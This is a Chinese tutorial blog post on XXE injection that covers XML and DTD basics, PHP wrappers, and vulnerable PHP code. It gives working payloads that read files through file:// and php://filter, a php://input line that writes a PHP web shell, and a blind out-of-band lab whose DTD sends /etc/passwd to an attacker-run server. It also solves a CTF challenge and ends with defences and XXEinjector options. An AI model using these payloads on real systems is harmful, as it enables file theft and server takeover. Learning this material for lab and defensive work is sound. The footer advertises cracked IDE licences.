XXE攻击与防御

XXE攻击与防御XXEXXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。前段时间比较出名的微信支付的xxe漏洞漏洞简历XXE就是XML外部实体注入,当服务器允许引用外部实体时,同过构建恶意内容来攻击网站产生原因解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数危害读取任意文件执行系统命令探测内网端口攻击内网网站DOS攻击…漏洞检测利用burp检测那些接

大家好,又见面了,我是你们的朋友全栈君。

XXE

XXE是一种很常见的漏洞类型危害也挺大的,如果一个web服务器通过用户上传处理XML文件或POST请求时,那么可能就会存在漏洞。

前段时间比较出名的微信支付的xxe漏洞

漏洞简历

XXE就是XML外部实体注入,当服务器允许引用外部实体时,同过构建恶意内容来攻击网站

产生原因

解析xml文件时允许加载外部实体,并且实体的URL支持file://和PHP://等协议,没有过滤用户提交的参数

危害

  • 读取任意文件
  • 执行系统命令
  • 探测内网端口
  • 攻击内网网站
  • DOS攻击

漏洞检测

利用burp检测那些接受xml作为输入内容的节点,通过修改不同的字段,如 http 请求方法Content-Type 头部字段等,然后看看应用程序的响应是否解析了发送的内容,如果解析了,那么就有可能有 XXE 漏洞

XML+DTD基础知识

XML:

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

XML 和 HTML 之间的差异:

XML 不是 HTML 的替代。

XML 和 HTML 为不同的目的而设计:

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。
  • HTML 被设计用来显示数据,其焦点是数据的外观。

HTML 旨在显示信息,而 XML 旨在传输信息。两个语言均来自SGML语言

XML文档结构包括XML声明、DTD文档类型定义、文档元素
在这里插入图片描述

DTD引用方式:

内容声明:<!DOCTYOE 根元素 [元素声明]>

<?xml version='1.0' encoding="utf-8" ?>

<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>

<note>
	<to>James</to>
	<from>Tim</from>
	<heading>Message</heading>
	<body>winner winner !</body>
</note>

外部引用:

<?xml version='1.0' encoding="utf-8" ?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
	<to>James</to>
	<from>Tim</from>
	<heading>Message</heading>
	<body>winner winner !</body>
</note>

其中note.dtd内容为:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to       (#PCDATA)>
<!ELEMENT from     (#PCDATA)>
<!ELEMENT heading  (#PCDATA)>
<!ELEMENT body     (#PCDATA)>

引用公共的DTD(网络上的DTD文件):

<!DOCUTYPE 根元素 PUBLIC “DTD名称” “DTD文档的URL”>

<?xml version=”1.0″?>   

<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN” “http://mybatis.org/dtd/mybatis-3-config.dtd”>

命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

其中,外部引用可支持http、file等协议,不同语言支持的协议不同,但存在一些通用的协议。

默认协议:

在这里插入图片描述

知识扩展

php伪协议

php伪协议实际上就是支持与封装的协议(共十二种)

a. file:// — 访问本地文件系统

b. http:// — 访问 HTTP(s) 网址

c. ftp:// — 访问 FTP(s) URLs

d. php:// — 访问各个输入/输出流(I/O streams)

e. zlib:// — 压缩流

f. data:// — 数据(RFC 2397)

g. glob:// — 查找匹配的文件路径模式

h. phar:// — PHP 归档

i. ssh2:// — Secure Shell 2

j. rar:// — RAR

k. ogg:// — 音频流

l. expect:// — 处理交互式的流

file://协议

file://协议在双off的情况下也是可以正常使用的

allow_url_fopen :off/on

allow_url_include:off/on


file://用于访问本地文件系统,在CTF中常用来读取本地文件

使用方法:file://文件的绝对路径和文件名

测试代码:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

代码测试:
在这里插入图片描述

php://协议

php://协议的使用条件:

\1. 不需要开启allow_url_fopen

\2. php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。


php://filter 用于读取源码且在双off的情况下也可以正常使用

allow_url_fopen :off/on (使用条件)

allow_url_include:off/on

URL: http://192.168.10.1/filter.php?file=php://filter/read=convert.base64-encode/resource=index.php


php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

allow_url_fopen :off/on

allow_url_include:on

URL:http://192.168.10.1/input.php?file=php://input
在Hacbar下选择POST data写入

<?PHP fputs(fopen(‘shell.php’,’w’),'<?php @eval($_POST[cmd])?>’);?>

漏洞代码分析

<?php 
	$xml=file_get_contents("php://input"); 
	$data = simplexml_load_string($xml) ; 
	echo "<pre>" ; 
	print_r($data) ;  
	echo "</pre>" ; 
?> 

file_get_contents

https://www.w3school.com.cn/php/func_filesystem_file_get_contents.asp

file_get_contents() 函数把整个文件读入一个字符串中。获取客户端输入的内容

在这里插入图片描述

php://input #是个可以访问请求的原始数据的只读流。

结合 file_get_contents(“php://input”) 可以读取POST提交的数据,存入 $xml

simplexml_load_string 函数介绍

php 中的 simplexml_load_string 函数将xml 格式字符串转换为对应的simpleXMLElementObject

<?php
    $note="<note> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body></note>";
    $xml=simplexml_load_string($note);
    print_r($xml);
?>

php://input介绍

php://input是个可以访问请求的原始数据的只读流

结合file_get_contents(“php://input”)可以读取POST提交的数据

<?php
	$str = file_get_contents("php://input");
	echo $str
?>

在这里插入图片描述

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

xxe注入的思路

  1. file_get_contents(“php://input”)可以读取 POST 提交的数据
  2. 那么我们通过 POST 提交 XML 代码,
  3. XML 代码中引用外部 DTD,读取想要的系统文件
  4. 通过 simplexml_load_string()函数显示数据。

漏洞利用

有回显漏洞

<?php
	$xml=file_get_contents("php://input");
	$data = simplexml_load_string($xml) ;
	echo "<pre>" ;
	print_r($data) ;//注释掉该语句即为无回显的情况
?>

利用方式:可以构造xml进行提交,然后在页面中直接看到payload执行结果

任意文件读取

可以利用各种协议可以读取文件:

file协议:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///E:/phpstudys/PHPTutorial/WWW/cheshi/1.txt">]>
<value>&xxe;</value>

在这里插入图片描述

如果是php文件,直接读取会出现解析错误,那么就需要利用base64编码,并结合php伪协议

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php" >]> 
<root> 
<name>&xxe;</name> 
</root> 

我们截取的数据包当中,可以看到并没有Content-Type:xxxxx,如果有Content-Type

改:Content-Type: application/x-www-form-urlencoded 
为:Content-Type: text/xml

提交我们构建的Payload:

在这里插入图片描述
此时我们可以看到,我们成功返回了base64加密的数据

base64解密

在这里给大家提供3种方法,我们分别利用到了kali,burp suite,在线base64解密

在线base64解密

网上有许多的base64解码工具,大家可以自行上网查找

https://tool.oschina.net/encrypt?type=3

站长工具

利用kali解密

在Kali中使用base64进行解密获取文本内容
在这里插入图片描述

利用burpsuite解密

对于小白不会用burp suite的情况下,这里博主在啰嗦两句

Decode as ....... 解码
Encode as ....... 加密

在这里插入图片描述

无回显文件读取

将PentesterLab .iso 镜像直接导入

对于新手小白不会安装的同学,博主这里直接给你们安利了更简单的
链接:https://pan.baidu.com/s/1H1TG9jkLfZVoFF-X1iPzaQ
提取码:bg4j
在这里插入图片描述

实验拓扑

在这里插入图片描述实验前提目标服务器存在xxe:

我们向的服务器发送恶意的xml request请求到服务器端,服务器收到我们发送的xml request,就会请求我们自定义的服务器server端,来获取校验文件,收到后,我们server端就会返回到服务器当中,当返回dtd这个定义文件后就会在本服务器查询对应的数据,在返回给我们的server端

服务器可以随便选择,这里我用的是kali,对于不了解Linux的同学,博主将给你们带来亲妈级别的教学

kali服务器准备工作

需要建立一个外部的 DTD 文件,一个用于接受数据的 PHP 文件,以及存储数据的数据文件

建立DTD外部实体文件
┌──(root?xvbinyv)-[~]
└─# cd /var/www/html 
                                                                                                         
┌──(root?xvbinyv)-[/var/www/html]
└─# vim test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 " <!ENTITY e1 SYSTEM 'http://192.168.10.129/xxe.php?pass=%p1;'>">
%p2;

注:% p1 定义一个参数实体,%和 p1 之间有一个空格,用于接收 file:///etc/passwd 的内容,%p1 引用参数实体,参数实体只能在 DTD 文件中被引用

建立php文件
┌──(root?xvbinyv)-[/var/www/html]
└─# vim xxe.php 
<?php $pass=$_GET['pass']; file_put_contents('pass.txt',$pass); ?>
创建存储数据的文件
┌──(root?xvbinyv)-[/var/www/html]
└─# touch pass.txt  
修改文件权限
┌──(root?xvbinyv)-[/var/www/html]
└─# chown -R www-data:www-data /var/www/html/*
启动apache2
┌──(root?xvbinyv)-[/var/www/html]
└─# systemctl start apache2.service
测试php文件能够正常写入数据
┌──(root?xvbinyv)-[/var/www/html]
└─# curl http://192.168.159.132/xxe.php?pass=1                                          ┌──(root?xvbinyv)-[/var/www/html]
└─# cat pass.txt

在这里插入图片描述

进行XXE

PentesterLab

访问我们搭建的靶场

在这里插入图片描述

开启burpsuite进行截断:

在这里插入图片描述

payload 代码

<?xml version="1.0"?> 
<!DOCTYPE e1 SYSTEM "http://192.168.10.129/test.dtd">
<foo>&e1;</foo>

抓到的包修改以下内容

改:Content-Type: application/x-www-form-urlencoded 
为:Content-Type: text/xml

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w1CwKB8b-1648277910520)(C:\Users\32393\Desktop\网络安全\图片\image-20220325123943193.png)]

在kali上查看

┌──(root?xvbinyv)-[/var/www/html]
└─# cat pass.txt 

在这里插入图片描述

ctf题

是来自Jarvis OJ平台的一道web题型,地址http://web.jarvisoj.com:9882/

在这里插入图片描述

看到题目说flag在/home/ctf/flag.txt中,那么就是访问这个目录了。

首先,我们看一下地址入口,页面是一个提交框,点击go后,把输入框输入的信息,提交到文本框中
在这里插入图片描述

看一下响应包中的提交数据包和响应包数据:
在这里插入图片描述

发现,提交数据是以json格式提交的数据。那么对于这种提交方式,去尝试会不会解析xml,那么要修改一下Content-type为xml,然后写一个xml,看响应包解不解析:

在这里插入图片描述

我们尝试去访问flag.txt文件了,构造代码payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
<value>&xxe;</value>

在这里插入图片描述成功获取flag

经过两个实验相信大家已经对XXE已经有一定的理解了

XXE防御

升级libxml版本

libxml 2.9.0以后,默认不解析外部实体,或者禁止使用外部实体.
http://www.linuxfromscratch.org/blfs/view/cvs/general/libxml2.html
在这里插入图片描述

代码层防御

使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true); 

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); 

Python:

from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

过滤用户提交的 XML 数据
关键词:<!DOCTYPE 和<!ENTITY,或者,SYSTEM 和 PUBLIC

XXE工具

感兴趣的同学可以自己去网上看一下教程,随便教一下我!!!

下载地址:https://github.com/enjoiz/XXEinjector/archive/master.zip

参数说明

--host     			必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file      		必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path           必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute          必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger        	记录输出结果。
--rhost          远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport          远程主机的TCP端口信息。(--rport=8080)
--phpfilter    	在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc     		使用netdoc协议。(Java).
--enumports   枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes       窃取运行当前应用程序用户的Windows哈希。
--expect        使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload       使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt      		XSLT注入测试。
--ssl              使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport 		Set自定义HTTP端口。(--httpport=80)
--ftpport       设置自定义FTP端口。(--ftpport=21)
--gopherport  设置自定义gopher端口。(--gopherport=70)
--jarport       设置自定义文件上传端口。(--jarport=1337)
--xsltport  	设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test     		该模式可用于测试请求的有效。
--urlencode     URL编码,默认为URI。
--output       爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout     设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout  设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast     		跳过枚举询问,有可能出现结果假阳性。
--verbose     显示verbose信息。

在这里,再给大家几个靶场,感兴趣的同学可以自己尝试一下

https://github.com/c0ny1/xxe-lab
pikachu

参考文献

https://www.cnblogs.com/20175211lyz/p/11413335.html
https://security.tencent.com/index.php/blog/msg/69
https://www.runoob.com/xml/xml-tutorial.html
https://www.w3school.com.cn/dtd/dtd_intro.asp

本文章借鉴了各路大神的手笔,博主也是学生难免会有些错误和理解不到位的地方,欢迎讨论与指正!!!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142501.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • java random函数原理_详解JAVA中Random()函数的用法

    java random函数原理_详解JAVA中Random()函数的用法有时候,我们会用到随机数。java中自带的Random()函数让我们可以很方便的产生随机数。本文介绍它的一些用法。随机数是专门的随机试验的结果。在统计学的不同技术中需要使用随机数,比如在从统计总体中抽取有代表性的样本的时候,或者在将实验动物分配到不同的试验组的过程中,或者在进行蒙特卡罗模拟法计算的时候等等。产生随机数有多种不同的方法。这些方法被称为随机数发生器。随机数最重要的特性是:它所产生的后面…

  • 制作QQ微信支付宝三合一收款码

    制作QQ微信支付宝三合一收款码

  • js删除数组中指定元素或者空字符串

    js删除数组中指定元素或者空字符串

    2021年11月22日
  • java 反编译器_代码反编译到数据库

    java 反编译器_代码反编译到数据库xjad反编译工具下载使用反编译时把class文件直接拖拽至工具内即可,如果反编译结果不对时把class文件重新去拿原始的不要编辑打开,或者放在一个文件夹内在试。反编译后的代码没有注释、注解等,反正能用得细心看看调整。点击下载工具http://a.xzfile.com/down2/XJadfanbinayi_downcc.zip…

  • zuul 网关的用途_Zuul网关

    zuul 网关的用途_Zuul网关Zuul的主要作用:1.路由,进行请求转发。2.鉴权,进行身份认证(安全)。3.限流,限制访问的数量,保证服务器的稳定。除此之外还有以下作用4.负载均衡。5.压力测试。6.监控1.Zuul简单使用1.添加依赖org.springframework.cloudspring-cloud-starter-netflix-zuul2.添加@EnableZuulProxy注解@EnableZuulProx…

  • clion 2021.4.2激活码破解方法

    clion 2021.4.2激活码破解方法,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号